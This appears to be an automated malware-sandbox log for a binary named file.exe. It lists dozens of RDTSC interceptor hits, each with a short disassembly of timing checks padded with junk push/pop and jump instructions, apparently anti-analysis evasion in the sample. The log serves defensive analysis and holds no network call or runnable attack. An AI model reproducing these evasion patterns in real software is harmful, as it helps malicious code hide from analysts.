Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709E74 second address: 709EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 ja 00007F9DB10DC5E5h 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709EB5 second address: 709EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E69E second address: 70E6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E6A2 second address: 70E6B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E6B2 second address: 70E6B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E83B second address: 70E840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E840 second address: 70E855 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F9DB10DC5C0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E971 second address: 70E975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EC00 second address: 70EC06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EC06 second address: 70EC3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jne 00007F9DB0FF9A36h 0x0000000c jnc 00007F9DB0FF9A36h 0x00000012 pop edi 0x00000013 js 00007F9DB0FF9A69h 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007F9DB0FF9A36h 0x00000021 jmp 00007F9DB0FF9A45h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EC3C second address: 70EC47 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ED60 second address: 70ED7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A44h 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ED7E second address: 70ED84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ED84 second address: 70ED89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70ED89 second address: 70EDA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jp 00007F9DB10DC5B6h 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ecx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EDA8 second address: 70EDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EDAE second address: 70EDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD81F second address: 6AD830 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD830 second address: 6AD89D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F9DB10DC5B8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dh, cl 0x00000027 push 00000004h 0x00000029 jnp 00007F9DB10DC5C7h 0x0000002f mov cx, 7A9Eh 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 jmp 00007F9DB10DC5BAh 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EEE2 second address: 70EEEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9DB0FF9A36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EEEC second address: 70EEF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EEF2 second address: 70EF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007F9DB0FF9A36h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EF02 second address: 70EF1B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB10DC5B8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9DB10DC5BDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70EF1B second address: 70EF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7181E7 second address: 7181EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7181EB second address: 718211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F9DB0FF9A36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 je 00007F9DB0FF9A36h 0x00000017 popad 0x00000018 jng 00007F9DB0FF9A42h 0x0000001e jno 00007F9DB0FF9A36h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716769 second address: 716781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BEh 0x00000007 js 00007F9DB10DC5B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716A7A second address: 716A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716A7E second address: 716A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717895 second address: 71789A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717BA6 second address: 717BB7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jp 00007F9DB10DC5B6h 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717BB7 second address: 717BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717BC4 second address: 717BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9DB10DC5C5h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717BDE second address: 717BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F9DB0FF9A36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717BEA second address: 717BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 717BEE second address: 717BFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F9DB0FF9A36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B53B second address: 71B545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B545 second address: 71B549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B549 second address: 71B55C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B55C second address: 71B56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B56B second address: 71B575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9DB10DC5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B6C2 second address: 71B6C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B6C6 second address: 71B6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F9DB10DC5C2h 0x0000000c jmp 00007F9DB10DC5BCh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9DB10DC5BBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B806 second address: 71B80A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B80A second address: 71B832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB10DC5C9h 0x0000000b pushad 0x0000000c jno 00007F9DB10DC5B6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B98F second address: 71B9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9DB0FF9A36h 0x0000000a jmp 00007F9DB0FF9A40h 0x0000000f jmp 00007F9DB0FF9A40h 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F9DB0FF9A40h 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B9CC second address: 71B9D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F9DB10DC5B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BB6B second address: 71BB71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BE25 second address: 71BE29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BE29 second address: 71BE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BE2F second address: 71BE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BE39 second address: 71BE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BE3F second address: 71BE49 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB10DC5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BE49 second address: 71BE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a jmp 00007F9DB0FF9A46h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9DB0FF9A3Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BE7A second address: 71BE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726CA2 second address: 726CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 ja 00007F9DB0FF9A36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726CB2 second address: 726CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726CBB second address: 726CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9DB0FF9A46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726CDC second address: 726CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726FA1 second address: 726FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007F9DB0FF9A3Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727132 second address: 727136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7273F8 second address: 7273FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72754E second address: 727554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727554 second address: 72755A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72803A second address: 72803E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72803E second address: 72805D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F9DB0FF9A3Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72805D second address: 728064 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 728064 second address: 72806D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72806D second address: 728071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72882A second address: 72883D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9DB0FF9A36h 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726747 second address: 72674C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730E60 second address: 730E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007F9DB0FF9A3Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F9DB0FF9A42h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730FEE second address: 730FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731157 second address: 731163 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jng 00007F9DB0FF9A36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731163 second address: 731186 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007F9DB10DC5B6h 0x00000009 jo 00007F9DB10DC5B6h 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jo 00007F9DB10DC5B6h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push esi 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731186 second address: 731194 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9DB0FF9A36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731194 second address: 7311A6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F9DB10DC5B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7400D4 second address: 7400DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7400DA second address: 7400DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7400DE second address: 7400E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7400E2 second address: 7400F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F9DB10DC5BEh 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741E58 second address: 741E8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9DB0FF9A67h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9DB0FF9A43h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741E8F second address: 741E9E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007F9DB10DC5B6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757F81 second address: 757F85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757DD3 second address: 757DE7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9DB10DC5BCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757DE7 second address: 757DEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757DEC second address: 757DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757DF4 second address: 757E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9DB0FF9A36h 0x0000000a popad 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F9DB0FF9A38h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E15 second address: 757E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E19 second address: 757E1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E1D second address: 757E23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E23 second address: 757E3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F9DB0FF9A36h 0x00000009 je 00007F9DB0FF9A36h 0x0000000f je 00007F9DB0FF9A36h 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761571 second address: 761575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761575 second address: 7615AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB0FF9A42h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007F9DB0FF9A47h 0x00000011 jmp 00007F9DB0FF9A41h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7615AA second address: 7615AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
